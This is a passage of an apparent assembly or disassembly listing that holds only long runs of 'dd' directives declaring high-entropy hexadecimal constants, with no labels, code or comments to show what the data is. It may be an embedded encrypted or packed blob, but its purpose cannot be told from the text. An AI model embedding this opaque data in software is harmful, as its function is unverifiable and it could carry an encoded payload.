		dd 0FDF7DF51h, 0E05F0208h, 52FF01D1h, 0BF3AC3B5h, 2051A12h
		dd 23159D0Ch, 0A84E6800h, 640C483Fh, 4829FC50h,	0B31763DBh
		dd 0C720BF9Ch, 7C20ABB1h, 0D18D270Ch, 34B2498Eh, 0C596061Eh
		dd 4CC5C303h, 2DA2810Fh, 50311066h, 3B6808D8h, 0FE10D667h
		dd 45268532h, 0C4611456h, 0C5FD7F78h, 8D85C711h, 7461AF3Eh
		dd 0AC00DCA8h, 317D19F2h, 58F0BF58h, 69416C96h,	0BC2AC735h
		dd 6BAE4ABEh, 58030F44h, 0B9DFC157h, 5BEC2E40h,	0B34E70E9h
		dd 0AFA8D8F1h, 8F0F3917h, 0E4AF5E24h, 570050BDh, 0AB9B7353h
		dd 7AA5EF35h, 0C30265Fh, 0C9441C6Ah, 2A0FC101h,	0C1020E59h
		dd 0A85DFB4Ch, 0EBE70D93h, 4DE3636h, 16EE3964h,	29501B33h
		dd 18214028h, 113CD58h,	0C01B0957h, 0B19CC08Bh,	0AC0309DCh
		dd 0D9F5F439h, 0EF810042h, 169ADBFh, 70AE53BFh,	0C5014B2Eh
		dd 0FB92A377h, 432853CDh, 0EB187E80h, 0B9E26939h, 9B283803h
		dd 0E8A68CCEh, 0F5BCB610h, 30FC891h, 0C5D667FCh, 0C448F014h
		dd 31CC0F96h, 0FFA2B219h, 3DC15F5Bh, 84A972DEh,	0F634A885h
		dd 51EAA113h, 7ECC6722h, 85170147h, 0FDDD23D9h,	5F5C8730h
		dd 2A4B09CAh, 5474657h,	62356433h, 0DF92809Fh, 6E00EBA7h
		dd 4B532F79h, 982D9EE8h, 4C8C45CDh, 0B31E464Ch,	1942FC95h
		dd 0DF37DA6Bh, 77717AC4h, 0DBF6E579h, 516A3800h, 0FB4F9DE3h
		dd 0C75F26E8h, 0B0B234BEh, 0C4111E3h, 4582E430h, 49233803h
		dd 0DE91199h, 0C69E7300h, 0D31BF1A4h, 20814402h, 0FB58EBA9h
		dd 7CFCAD33h, 745D65D4h, 319504F8h, 0F22DF50Bh,	1A50CAFFh
		dd 8C5B5584h, 169DD058h, 2F152AEh, 0AA4E1E06h, 21D538C0h
		dd 0BC2B4082h, 77D20136h, 8689FC8Ah, 0F438FC4h,	2D8CF3BFh
		dd 0E1B52A09h, 0C28300F9h, 797FBB04h, 89142F5Eh, 0C0F42050h
		dd 63486B77h, 1FA40014h, 0BAD566AAh, 0BF1C4E6Dh, 0B2530DD6h
		dd 0BE06FE05h, 19B286E3h, 5CACE830h, 0B2C846Ch,	168509C2h
		dd 0CD6B7D59h, 49A04F8Ah, 0A4CCBB3Ah, 0D0CB8103h, 4C0ADD3Bh
		dd 49763D4Eh, 0CC960111h, 23925031h, 0D670CBBBh, 959D1223h
		dd 6DAD290Ch, 580BB885h, 0A912D751h, 1617B71Ch,	12C830Fh
		dd 79EB00D8h, 98D3AF82h, 5F4ACC58h, 342205CAh, 96D98B16h
		dd 556D849h, 0D0875FA2h, 98AF5899h, 0F09656D0h,	0E2C610F3h
		dd 854A912Bh, 0E5181B71h, 274D9101h, 0EBD57178h, 8041302Bh
		dd 32AC67DFh, 50FB73BDh, 5F0489C8h, 0EE061E51h,	0B2B54A85h
		dd 0A120352Ah, 4282ACEh, 7F5BBD87h, 17D0BED8h, 4578580h
		dd 91FBD85h, 0A32A595Fh, 0F8D778C4h, 0C8AE7309h, 4D5182FFh
		dd 2960020Dh, 89155E61h, 19028CD7h, 132B610Bh, 80E0DB60h
		dd 346D98EEh, 809695CDh, 71DFFBB7h, 56E27E4Bh, 3EE50C00h
		dd 0EE0B307Dh, 672A0F16h, 1B485C8h, 2C1184EAh, 89D6E574h
		dd 276D855Ah, 58A9E917h, 78EAB3B9h, 2909230Ah, 5A3485B5h
		dd 0D4DE95B5h, 0BCAE01D6h, 920DEDF0h, 91A2CBB5h, 2B6AD456h
		dd 0E9310313h, 0E37A90FEh, 19210F29h, 741EA082h, 0F0125Fh
		dd 4599BBE3h, 50614A23h, 491E5378h, 5B52CBC9h, 0D5F0C8A6h
		dd 3CD6F5F9h, 0BD5B2AC7h, 5F181C4Bh, 0F9F38666h, 373DECD1h
		dd 5606AF9Dh, 4504DC9Dh, 0C5A4CA70h, 290193C2h,	0DFBE1058h
		dd 0F36D09DCh, 95024543h, 0B091AA9h, 154487h, 61AA80EFh
		dd 0C1C05B59h, 3497AC0Eh, 4692BE8Fh, 6BB399E4h,	0B66D8280h
		dd 0DA116AC0h, 40B21FF5h, 0CD31D3ACh, 2967415Bh, 0C3810009h
		dd 6B6778B3h, 92026C26h, 645C1725h, 0D4B7F7EBh,	70B97101h
		dd 58B9259Eh, 84CE1A25h, 0EA816000h, 4B109140h,	0FF6116F9h
		dd 82BD9BD1h, 79CDFA8Dh, 867C00C0h, 5C765952h, 446A5D00h
		dd 3F8EF4FEh, 0FABC12D8h, 8D90E246h, 0F92A3D60h, 96AACFCh
		dd 9D89847Dh, 2CA58EBh,	0BCC75940h, 0C450B125h,	5EA10092h
		dd 0D2C0368Dh, 583C79F1h, 1FD51CF7h, 6C76A981h,	72417FBh
		dd 2C32BBF9h, 50F53D42h, 0F5E9E560h, 0C1383E3Dh, 56F66140h
		dd 728B0E4Bh, 919D4110h, 503ACB2h, 8D09C0C7h, 3085FE99h
		dd 80F89BFBh, 4617C52Bh, 9D754BECh, 0C0345A6Ah,	2A857FC2h
		dd 52DBE25h, 53D88B50h,	2416F9Eh, 547E02C4h, 0E7DF81C8h
		dd 652ED3ECh, 0DDF10458h, 0B7FDFA16h, 9ABB66C1h, 37352E2Ch
		dd 81979BFFh, 0F5BE6C8Bh, 5A37DCC8h, 0BCFB204Bh, 8800280Fh
		dd 6358150Eh, 9FC4D24h,	16558560h, 0B7274AFEh, 0F2A118C8h
		dd 980829D3h, 921A8F0Fh, 15B9D0E8h, 7007759h, 3C8EB3B1h
		dd 12EB05E1h, 4131E94h,	0B15C1F4h, 4DAA825Fh, 603FEF0Ch
		dd 7EAC528Bh, 7755DE58h, 0DB1268B3h, 101889E6h,	0F8B71D01h
		dd 311AB070h, 56E28185h, 9D23048Ch, 0E6F3D699h,	921FEB00h
		dd 0B58971E4h, 256AB6CDh, 4CE88369h, 1041EDF5h,	0D3851F2Bh
		dd 81F8E280h, 0CA04EF2Eh, 652E3FF9h, 788B096h, 6D2033B0h
		dd 9D8C951Dh, 13D2055Ch, 9554C0BFh, 0C8891701h,	40089B90h
		dd 2A40DDAFh, 21D15A8Bh, 0C0F428EFh, 0B200CBF6h, 0FF7040C6h
		dd 127D1D30h, 249F8EDh,	5BC70F4Ah, 698E58ACh, 850943B9h
		dd 1E5AD9B9h, 8295A055h
		dd 46F6B3ADh, 86A83C3Eh, 0EDD0010Eh, 9D762820h,	230D46A4h
		dd 34E168DDh, 5FCCF5C2h, 0D4D03B2Fh, 0B9E66C04h, 60E92140h
		dd 96BF1733h, 4E064552h, 3B1BD89h, 58D1191h, 0CED24A2Ah
		dd 0A5FC2719h, 0FE100FA5h, 3B3D95E6h, 4A6B66D0h, 9050BAD8h
		dd 0FD5CB8F9h, 4F080115h, 203C3172h, 0BD180157h, 9D4B1C39h
		dd 2592BEB9h, 2F93C966h, 125B9E78h, 2D7694Fh, 0EAB9FB56h
		dd 0D525525Eh, 2389C3B5h, 0D3D570CAh, 0D96B8CD0h, 2BE1B8F4h
		dd 0A500AC7Bh, 37E36325h, 0B304D3F8h, 0D22BFAF0h, 2E151481h
		dd 0F199AC04h, 322880Fh, 0DE3AF52Ch, 5E2491F8h,	1930030Fh
		dd 247DAFBBh, 89E32825h, 0A87149B3h, 0F1950904h, 752B81B1h
		dd 26DAFA8Fh, 95281280h, 3F005363h, 0F3BB3437h,	97697611h
		dd 0B0E2921Ah, 4E5C8156h, 65489788h, 848F3487h,	2E19B14Fh
		dd 33B846E9h, 0CA724C01h, 0BC69122Eh, 1203EF70h, 0E243CB59h
		dd 0A83B88B7h, 8A22F8B6h, 32D5EC1h, 0DCFA85B8h,	0D30075DBh
		dd 0B526433Eh, 94C86CEh, 0CC0F2077h, 560A627Dh,	58026996h
		dd 0FF0123CDh, 0EB2009E1h, 5D1C9716h, 0DA4E1E43h, 0BABE80BFh
		dd 4BB765B8h, 22608ACCh, 41ADB40Bh, 0F0EE8F3Bh,	353B381Ch
		dd 0A5CB81DEh, 539721BBh, 14B1BA88h, 58E25F12h,	5A6AD88h
		dd 804E0511h, 60AF3C00h, 2BA3795h, 19CF808Dh, 15C93760h
		dd 2F4F5682h, 13DC6FF6h, 9107FE7h, 6A70FE04h, 0C24CA695h
		dd 0CD1AD729h, 2EFAE143h, 0F7800830h, 5D6C90C9h, 6E4EA8DAh
		dd 2132008Eh, 780E3568h, 3B44D43Eh, 0B31B2D12h,	81B784E5h
		dd 4A7E24B8h, 0CAEC856h, 0F3B188h, 0E2099767h, 28A5663Ah
		dd 8B227E17h, 46D7B417h, 671D9E04h, 6E09B670h, 925B585Ah
		dd 62CFA38h, 77F311BBh,	2AE3207Ch, 84FB2137h, 77AD2262h
		dd 0F11AE9C4h, 0B83E2D79h, 62313B27h, 76646A25h, 80E1B797h
		dd 7B68B72Ch, 9F09BB7Dh, 596EC035h, 0C9519295h,	2FB92A3Ch
		dd 0D078A080h, 3F016C3Ah, 0B997D716h, 342B5F2Eh, 0F6AA92h
		dd 83AF72B0h, 0D6C2B912h, 8FA33412h, 0F0C72948h, 0F42E90FDh
		dd 0D4E424FEh, 0D3C39A03h, 0F1EE29ACh, 82798932h, 0A4008BBCh
		dd 6F419464h, 12CB95C0h, 0F7E1B30Bh, 0AC8A4DA0h, 141990B5h
		dd 0E68EF0C7h, 8C9DE16h, 60964988h, 163788h, 0E144331Dh
		dd 0DD645BFDh, 0ADAF41EFh, 0EF2CA62Fh, 0FA5850Ch, 0EA819561h
		dd 2F526050h, 59CD5D20h, 1AA300FFh, 0FD3F469h, 5B1F4539h
		dd 5F65582Ch, 97548412h, 5282046Dh, 0A8B32434h,	4D6BE956h
		dd 0DEA3C035h, 604A2A6Dh, 959630FEh, 0BF8005C1h, 182E08Ah
		dd 6B686128h, 30EEBE25h, 814CDE43h, 82943A22h, 8DF81160h
		dd 0F9BBD985h, 9371819h, 889955D6h, 0D866548Ch,	0E4BE5F75h
		dd 0AD327E40h, 909C726Fh, 260304E6h, 0D47836F5h, 0B87ABD69h
		dd 0C70100F7h, 5227477Eh, 1D4D9D03h, 255E5CD9h,	0B846CE05h
		dd 611640ACh, 3585010Dh, 3D2B0E2Ch, 186A3B4Ah, 0FA8F0700h
		dd 58763D57h, 0FB658A07h, 31F4BD23h, 38EAF625h,	0B5F95F48h
		dd 0EC07E1E8h, 110B099Eh, 3BE99431h, 628B6FC2h,	0E8E11A15h
		dd 3C6B2E28h, 0B3301DE2h, 0F65F01F8h, 1F813DD8h, 81042FE1h
		dd 0A21329B9h, 0E31F7546h, 5400C2AAh, 5BC791Dh,	0D551BF58h
		dd 0B4B80307h, 134DC5C0h, 0F9AA00C8h, 740C2E5Ch, 0CB0BC005h
		dd 961E3E94h, 0E5851262h, 77357B04h, 6A1C9BF6h,	0A684B552h
		dd 2F8BF054h, 0E704B313h, 0A3E0A7ECh, 96C22E1h,	8844EC07h
		dd 0F589BC53h, 40B0EF2Ah, 40E53698h, 9F4D9904h,	0BCADFCEAh
		dd 40FC2AD0h, 0FCB37F00h, 3848BAEEh, 0D6A4E8h, 9E6ACF88h
		dd 8D46E6BFh, 0D8532E00h, 81CA6770h, 1D37016Eh,	0F88BAD2Ah
		dd 5D352E5Bh, 96E07AF6h, 59052AC1h, 58CAAC9Eh, 921F1CACh
		dd 0D764E584h, 0AC364100h, 33784922h, 62E70FB1h, 50402C69h
		dd 6898037Fh, 0E9AD20B2h, 0B74ED5E0h, 0A5715CCAh, 22C8952Fh
		dd 114A4D9Dh, 188874DDh, 64A50EA1h, 0E6DBBF8Eh,	7315C870h
		dd 57B306F2h, 1F09E8FCh, 326BF100h, 0E7D04F8h, 86724A30h
		dd 0B512CCCBh, 0C2E22071h, 32ACF4D5h, 0B5DCF0E1h, 0D221BC0Fh
		dd 0C0C97328h, 342BA159h, 658204CDh, 0CBB1120Ch, 0E8CEB92Eh
		dd 1E9FE85h, 46320148h,	383FFE11h, 5BBC08Bh, 9758928Fh
		dd 0FE58EC09h, 7DEA8995h, 0A46046EDh, 0A633BAEh, 0EC5E1E99h
		dd 4BD08FCh, 60F7C02Dh,	7BDF0681h, 0F013FDCBh, 4B155120h
		dd 2D0DDD61h, 15CA883h,	5ECB640h, 2A9B5208h, 440086B9h
		dd 5CC4DE68h, 18005A0Bh, 8B8EC807h, 2C2A894Dh, 8D26DD1h
		dd 5F171951h, 352E6EE1h, 0E763A629h, 0C17A5EC0h, 425960A6h
		dd 170C82BBh, 2E914C95h, 4AB68D0Fh, 0F03660D0h,	7C001E87h
		dd 5C865EF8h, 2BA75CDh,	2F4D290Dh, 0FF93BA7h, 2B4FADAAh
		dd 0B672A589h, 6FC4BF00h, 0BDAF8C0Dh, 78001078h, 43272ED9h
		dd 96C93E99h, 0CF083E97h, 0FE2A2029h, 5655F552h, 0CA6FF045h
		dd 79E50119h, 0E01A88B4h, 80C83882h, 0B0ABF85Fh, 75E00DBh
		dd 1F0C877Eh, 144AE582h, 0B8B42AB4h, 70AC1EEh, 2F3F8673h
		dd 28B6961h, 2ADEB311h,	25B57A61h, 6D9C55C2h, 3811644h
		dd 0EE652CF7h, 1A70500Ah, 183238Ah, 0B45295B5h,	14B218E6h
		dd 520FF830h, 5353928Fh, 2BCAB100h, 6258DE94h, 491DA401h
		dd 0B0A188E1h, 9510E6F8h, 1897514Ch, 54858966h,	4F0FFF69h
		dd 0DB4E3082h, 0B9D39E7Eh, 0FC03717Eh, 4CC5BEBCh, 8EBC4ACh
		dd 56960794h, 34EF3342h, 25AC765Fh, 0B0A17FC6h,	4B922C2Dh
		dd 6338828Ah, 81979E5Bh, 848F31CAh, 10339CF4h, 8415059Dh
		dd 9C1B2D01h, 0C2751BB1h, 5525515Eh, 0FF9ED4B5h, 5903FDDCh
		dd 88609934h, 7A9C5BAh,	8B610D9Ch, 5E7939CAh, 70675DE9h
		dd 78F88CE4h, 2D9B792h,	0A8978032h, 842EC3B2h, 9B5A4EBCh
		dd 4C37848Eh, 5EF5D7C2h, 0CD7F494Eh, 0B84A60E1h, 98062215h
		dd 0FE9DEB1h, 30B0001Fh, 0BE875064h, 4007F87Eh,	13B5BDB2h
		dd 5FBC41C4h, 293AD9D4h, 0BB0450C0h, 7C030892h,	3BFDAB0h
		dd 42FDD3DBh, 0BBD48529h, 6F2AAFE1h, 0FAEF04DDh, 2FBCF5B7h
		dd 48BC0F1Bh, 0AD5E9013h, 0CB9DDBAAh, 8801009Eh, 48F2EB1h
		dd 1E2042BBh, 0EC32BD16h, 0A71D1F62h, 0FBC7C0B9h, 501F3774h
		dd 8EFE8B2Ah, 1ADCB3B6h, 3CE7857Ah, 0E38D8955h,	5EADC579h
		dd 0C809C2BCh, 79D2DF80h, 784CAB24h, 81919E98h,	9DB12980h
		dd 6D69C5h, 7746807Bh, 271B65EAh, 0F2E9897h, 35086C81h
		dd 0C08A020Ch, 95D1FF41h, 4FD60556h, 0B1D4C582h, 21282E6Bh
		dd 47618A66h, 0F1707E1Eh, 0E62DA5h, 0FF430D84h,	18AF816Dh
		dd 9F714201h, 0CF3F5BEEh, 1ECD5230h, 6561C8CAh,	4C901FE0h
		dd 89026A09h, 0D56C938Dh, 0F650A7D2h, 0C6A207ADh, 0CF80B15Bh
		dd 0C2DD2EBBh, 38726A6Eh, 0C2BC02FAh, 578AE9FBh, 6820991Ch
		dd 9595B2ADh, 47C20C6Dh, 4DF74084h, 85C822Ch, 7CBFE46Ch
		dd 0B8507658h, 95DD706Eh, 1A321FC5h, 0DA891125h, 1B44B96Dh
		dd 210F2B60h, 3694A304h, 0E3EABFB9h, 2415836h, 9589F171h
		dd 0A79DF631h, 0A6559061h, 7109B411h, 0AE4DD510h, 80EE52E0h
		dd 4C0E5CEBh, 1317CE0Bh, 0DABF9402h, 4C47D5Ch, 7C708B49h
		dd 59F721A0h, 0E61F6209h, 1AE65F70h, 1023D948h,	0E40318E9h
		dd 0E7C38171h, 2E4C1C89h, 0B0DA7F48h, 0E194A87Ch, 0FD290825h
		dd 855873A9h, 0F62DDC81h, 8EE5F15Fh, 0C149DE8Bh, 0D413FC99h
		dd 55005E79h, 9A30E6D1h
		dd 123276B7h, 0E1AC7415h, 40862E86h, 8688954Dh,	0DACDAF20h
		dd 0C82B2480h, 0DBD381h, 8B2DAE84h, 0A5B509D1h,	0BA280441h
		dd 0C9BD2382h, 0CC0D84Ah, 318019F5h, 10C5258Dh,	0B4817AC4h
		dd 0C30CADDEh, 31EA108Ch, 5B5F1221h, 841169E4h,	45A99D3Fh
		dd 0D95829FEh, 78FD2EF7h, 0E2DF929Dh, 0C242266h, 251DBD89h
		dd 17A0A587h, 951229FEh, 6BE5267Dh, 41495C05h, 41717104h
		dd 39180EC5h, 4C0ABC9Dh, 46003352h, 0BB66A993h,	4CC21B2Dh
		dd 5C8FF380h, 376A82h, 4FDCC13Ch, 74E9DB9h, 0DE178393h
		dd 0FAFC4BE6h, 137E1C6Bh, 0F6FCD4BFh, 4C0DE090h, 4F030184h
		dd 271EF01h, 7292329h, 7882F820h, 0E81C2AB3h, 23A8BEh
		dd 0B8C2131Fh, 8E0FC02Bh, 79382B95h, 891AC11h, 2B09223Dh
		dd 71D2F3D2h, 3EDAC068h, 2C258400h, 9D033F28h, 9B0B4BBDh
		dd 2C9B4AA8h, 6F543389h, 0FC4C442Ah, 8C1BE848h,	93C8D200h
		dd 69C26AEBh, 2D04B74Ch, 0BFB2120Ch, 809ADB5Bh,	0E92B351Fh
		dd 0C8991315h, 0DE51CD60h, 19C2B960h, 0D9186862h, 0B861041Fh
		dd 1BB6D2C1h, 665177E0h, 0BD2B420Eh, 564A7A39h,	0B79D56E3h
		dd 0F1720F7Bh, 2F83F22Fh, 1A5A890Fh, 0CD008F7Ah, 96123D9Bh
		dd 4D259092h, 11F2C530h, 4B805852h, 0F5C30630h,	0B9B87057h
		dd 11724351h, 54E1DD90h, 40F79500h, 37539BFBh, 0F123EA68h
		dd 40F1EAh, 80185DEAh, 6C01D27Dh, 1971F497h, 69F05572h
		dd 121EEC15h, 0F35F22DEh, 0D6F44B0Ch, 254C90E1h, 9E70F6Dh
		dd 5F543A11h, 0FE1EA10Ah, 3FF1282Eh, 351116A8h,	849529ACh
		dd 6047F6DCh, 0D69E209h, 56C9B25Ch, 0F609D46Eh,	274A1A4h
		dd 0B2F3587h, 0A6003544h, 0DE1B36D6h, 40A815h, 70CB8182h
		dd 5F1FFCEEh, 8CCB0D97h, 204E5632h, 99649704h, 7E0184E2h
		dd 4B26A166h, 9AEC423Dh, 34A92CB3h, 194D082Fh, 0EEE45B12h
		dd 0D90141ADh, 14FB6282h, 739DF98Ah, 0D47EBA95h, 0E912D4C3h
		dd 0ACF88B6Bh, 0D620AD92h, 7EA17CF6h, 0B2F0F460h, 1F495918h
		dd 9761CAAAh, 82620182h, 0B2826D58h, 3098B8C4h,	6A4E3972h
		dd 0AF00E26Fh, 61BC75B7h, 6002ADBBh, 313D2FBAh,	42B7C215h
		dd 6221FE07h, 0FB751BADh, 0D091FA0h, 2E291C5Dh,	0E33C6329h
		dd 29BA8980h, 6D016A3Ch, 7456B53Eh, 0A93A2C97h,	502A130Eh
		dd 3718D0AFh, 1925812Fh, 0B37EE822h, 5D20ED63h,	0C15804BEh
		dd 886113D2h, 7596E84Eh, 643B2980h, 47C47BDh, 850F7273h
		dd 0B1E6EB15h, 0E774660Fh, 836AADC4h, 25E8235Eh, 0E3051460h
		dd 585FCE36h, 0E3B8C6A9h, 0C0F5E000h, 26C781DBh, 2BC1256Ch
		dd 0EF9C8466h, 0B40902DCh, 78708398h, 2C393F40h, 0E441CD95h
		dd 0F1F76016h, 20E0B8E4h, 9122211h, 0B3C0CDB5h,	99015BE9h
		dd 0DE3049Ch, 0CED9BC68h, 5BFBE452h, 0F9CFB8BCh, 0A794B545h
		dd 0CF83B0B3h, 0A6E103BFh, 669860F9h, 0AAB36812h, 8007A4F3h
		dd 59894BDBh, 1B596A7Bh, 72024B18h, 21AE6ABFh, 1E18750Ch
		dd 9877AC34h, 0E41B1679h, 0FA50777Fh, 0C2FE52BDh, 1ACD85CEh
		dd 446CAA2h, 1FB54F60h,	0CC2B9681h, 4E01C2CEh, 0CF9A58A6h
		dd 0F520C68Ah, 965B2F52h, 0AD034F44h, 1B16548h,	1A4188F9h
		dd 5F98977Fh, 8200D781h, 6808D27Ch, 5E0AEEA5h, 5244CC24h
		dd 3FE05F4Ah, 15ED3F5Ah, 13656ECFh, 4404C871h, 58BCE93Dh
		dd 499D0BC2h, 4FF480A9h, 0DC1B9C60h, 7C400062h,	7DF1AEBAh
		dd 0B0BE099h, 7AF59ABEh, 2CD9DF2h, 0FC2760CEh, 13C5482h
		dd 974C7E7h, 2F31A59Dh,	0BF0F3870h, 0D76158FAh,	55BE4CC0h
		dd 39002031h, 2E337FC0h, 1969A59h, 0FD15C4Ah, 2F97BAF7h
		dd 0CA61482Dh, 402476FEh, 0C6F1D5Ah, 0E003C700h, 0D75094D5h
		dd 0B4FC0161h, 7D067F2Dh, 0A5CE208h, 621FFC52h,	0FADB48E9h
		dd 0B76C8D8h, 1CAC387Dh, 0D9A4E651h, 25352908h,	9D5C25C7h
		dd 3B09EBE1h, 5931AADh,	8825BD32h, 0FF7F9B7Ah, 0E88AFA4Bh
		dd 0C2A66021h, 0D59252D6h, 805337CCh, 0BF42D324h, 0FEB524h
		dd 31C6106Eh, 140C61B5h, 0CAE23297h, 69BB5450h,	0E19C482h
		dd 59885B09h, 18C1819h,	1722D79h, 3096F834h, 0FE1D8B3Ah
		dd 0BF5E310Fh, 0E3D5104Eh, 0FE585A5Fh, 0B1DA7B90h, 3D97809Bh
		dd 8A7CB036h, 0BAA49100h, 899F4206h, 511825B4h,	18640A4Dh
		dd 9DF53067h, 0CE95B3A1h, 8255770Dh, 8F40C4DCh,	9058CCh
		dd 0C2C694F3h, 0CE6B4D2Dh, 3DF55C2Eh, 85A7A36Eh, 20A0DF42h
		dd 7C0C341h, 79D0CD99h,	0D198C1A9h, 30BB595Bh, 9025CF74h
		dd 118733Dh, 762C3AD7h,	4B342E7Ch, 0FA59CC1h, 2DB72D6Bh
		dd 11A88Bh, 60CA64B2h, 7FDD7883h, 29BD0109h, 7966D70Eh
		dd 5ED9C800h, 0A6A076B5h, 8CE3068Ah, 900396A5h,	5B4BA4A4h
		dd 6EEA6A84h, 2F0C00DCh, 687C2E4Ch, 45E12C6h, 3B8CE10Bh
		dd 75049D6Eh, 0AE92A6B8h, 68C8FD16h, 0D740094h,	0B98AB433h
		dd 0FD04E05Bh, 14A69284h, 0D2DF87B8h, 6946E1F9h, 13BEC6Dh
		dd 78AAB1ACh, 2070EF9Ah, 29BF212Eh, 5ACD5F57h, 0EA1C7DC0h
		dd 1460F79Ch, 0B86604FEh, 0B961B7E4h, 8C14AC1Ch, 24EA124Eh
		dd 20D1B84Eh, 7CB09513h, 0B40FDBDh, 2C40BBBh, 3C8A3C3Ah
		dd 0B9B209F4h, 0FACF8EF9h, 2EDA5714h, 0CA93B900h, 36C690C5h
		dd 318F420Fh, 0DF8B3A5Fh, 0E66C852Bh, 45C0E4DFh, 4A093684h
		dd 6AA6B585h, 1AC80F9Ah, 0E22EE0CEh, 5A8B64F9h,	5F0BB7B3h
		dd 0DA005C6Ah, 8BC547FCh, 8012FF72h, 9CE2D4F7h,	0F62F9493h
		dd 0A0C5E328h, 0C2918EAEh, 0BD891430h, 0C272B662h, 3CC5DA4Eh
		dd 0CA8067DBh, 8A9C1CCFh, 22B8B113h, 0FA2533B6h, 290A9BC6h
		dd 0C6103985h, 0EAE78150h, 72602DBEh, 5300E844h, 95878DE9h
		dd 26FB1438h, 29A2F3Fh,	5BBB39DFh, 717B1D5h, 8B292310h
		dd 58CFC600h, 44BF66FDh, 8A5F4B46h, 77722783h, 1000DFBDh
		dd 3067C673h, 1BEA0115h, 0DF80DC52h, 3E643803h,	0F92041BDh
		dd 8B049719h, 146BAF61h, 38001A23h, 5BD92F9Fh, 0BBFF0740h
		dd 6EFE198Bh, 0A1C99D85h, 0B90F2BD2h, 70F52929h, 9296958Ch
		dd 0C256E925h, 87B1B763h, 497D23A6h, 0B692802h,	91B31F57h
		dd 0CDD48017h, 0D653115Dh, 5BB6D0CAh, 0E81368BFh, 0D9EA54F2h
		dd 0EDB82E60h, 901227FCh, 2201A1C8h, 2AFB9965h,	0B51822Fh
		dd 5852EB2Eh, 4B42906Eh, 0AC24BB60h, 13F5E3EFh,	2B49559Dh
		dd 0D7CDD56Ah, 7FAD82E0h, 53A31886h, 13F5596Ah,	0CAF00B83h
		dd 0DA5B18BCh, 13641E78h, 955F176h, 18985FEh, 5849BD56h
		dd 9DD0EC2h, 5049B390h,	3D701DC4h, 0B78D990Fh, 0F605F6C3h
		dd 77012E81h, 2B5FBB66h, 464D0CA5h, 0EEC6AC2h, 825C2DE9h
		dd 0D53D42EBh, 0D175E33Ah, 828CF867h, 651456F8h, 48ADDFFFh
		dd 0DBFA983Eh, 4E087D28h, 906EAFD1h, 0F8133D00h, 18C5823Fh
		dd 0E9625862h, 71585C01h, 0E037377Ah, 4C4173h, 1B06C538h
		dd 8B67B48Eh, 26AF917h,	0BC00506Fh, 5FE6362Bh, 0BB2875D4h
		dd 0F317EB90h, 5388508Bh, 0DB4F03FDh, 60AA89Fh,	0F0B9F1D8h
		dd 0BBCCC000h, 5C94B12Eh, 1904975Fh, 0A2AD5221h, 9BE9A698h
		dd 893C795h, 0FC1DBCD4h, 44ABF7C1h, 0DB304EA3h,	9D2BEB41h
		dd 0AB9A2E59h, 8A4EBEC0h, 5725321Bh, 0DFF4C3F9h, 4A50F452h
		dd 8461B7ECh, 0A8534D8Dh, 60C58074h, 2858F4h, 5467DABBh
		dd 4E331F03h, 6A40A52Eh, 73A28212h, 66278021h, 0DF8C432h
		dd 87BAB9CDh, 25A49D03h, 0CD9782Dh, 0A0304F3h, 4B7D70CFh
		dd 41A38D61h, 2909A1FCh
		dd 0A87880ECh, 1DEE6B2Dh, 0C27FEFAFh, 1CDE30EAh, 0F6C14E92h
		dd 6A5F10E5h, 2CF698FFh, 42E11C25h, 48F30D49h, 342F16D1h
		dd 88B6ADF2h, 0FE0B993Eh, 87B00308h, 20590BBFh,	6070E6FBh
		dd 15B51A03h, 0F7E83922h, 0D90084F2h, 0E723F0D2h, 1EC6EB4h
		dd 0FBA50BDDh, 3C71E461h, 0D47080D8h, 53EC24h, 0C207E36h
		dd 17E6FEA6h, 265A711Eh, 0E9799084h, 0F022DAB9h, 307E90B7h
		dd 0D6720Ch, 0D0E3AEBCh, 80FE38BFh, 0E0132EEDh,	212BD1B1h
		dd 44F560DDh, 0EC2012FDh, 7685808Bh, 17B947F0h,	4B1417Eh
		dd 0BF31C11Ah, 172B0BB5h, 0F73580E3h, 0B00BFE2h, 2B08FB09h
		dd 259D33C8h, 5E723111h, 51E1B181h, 3C93E998h, 2EA186DCh
		dd 8852927h, 0FA0B8F9h,	518D8909h, 11D67331h, 0D12C50FBh
		dd 0E32E5Ah, 6C538972h,	6CE939D6h, 0CFF83A13h, 8DC6FE06h
		dd 0EEF603FFh, 443CCC13h, 0DD023A30h, 516900B1h, 0D2AA53E0h
		dd 9500BFA3h, 177D8FA0h, 3229ED6Eh, 5FA965BDh, 2344F15Ch
		dd 71F68A49h, 0A594DE1Fh, 0F8FE3237h, 0BB33FE1Dh, 12317C50h
		dd 0E2167DB5h, 3C3484F0h, 0E90A1616h, 0FF6DE9A3h, 0BCEB81C0h
		dd 2E4B8AD5h, 0C001F28Dh, 0B900210Dh, 6F9F0FB5h, 0F01E42C1h
		dd 0CD2F0B5Eh, 6454C377h, 1D0C0E0h, 3F39B524h, 0B70FFC81h
		dd 0B7F62BDFh, 0A8D28086h, 1D149AA7h, 0BA54B914h, 0BF5180B8h
		dd 25A27620h, 0CECD5B48h, 4172CDA5h, 2B7D98DEh,	0FCB01924h
		dd 0A2A90499h, 0AAE15873h, 5FCA8304h, 9DE0AAF6h, 0C902E7DEh
		dd 0B8C8C1C4h, 90255003h, 889E4B03h, 4A4FB7DDh,	0D380E131h
		dd 0E9B25CDEh, 565299DBh, 1C905CA9h, 42B7BDh, 9C56ED9Bh
		dd 0A5256AC4h, 1183C524h, 7892E72h, 0F7DF1518h,	811297E9h
		dd 2ED80E41h, 503A5465h, 71041C23h, 34EE27F5h, 0A90BBA60h
		dd 0E181053Ah, 2E886EAAh, 2C12DDBAh, 0FA0212B2h, 9B593D2h
		dd 0AD173E0h, 5BA31C97h, 67E31170h, 310066ACh, 0ED030293h
		dd 4B9639EEh, 17BF8AFCh, 0E39E0459h, 102BD680h,	4E4CF65Dh
		dd 1C6112E0h, 0EF88E0E3h, 2AC126B1h, 95D18C04h,	0C9045679h
		dd 3D104B1Bh, 0F9B0BBACh, 0CBB605Fh, 162FCB79h,	807FDB15h
		dd 3BA1C6Dh, 255920BDh,	0E2CEB725h, 0B1375501h,	0AC1E3700h
		dd 97FF8A4Ah, 2348FF24h, 0F7B9DCB7h, 48C18ACh, 72FCF771h
		dd 0FC1CFF1Ah, 0A5FAC525h, 0A6007AB5h, 0FDE1CB1h, 62DBBE87h
		dd 9005056Dh, 0A238D6A5h, 0FBF5BD80h, 3316137Eh, 0E75666E2h
		dd 2390D7C0h, 975279Dh,	0CF007E3Fh, 809EE5ACh, 8A404B43h
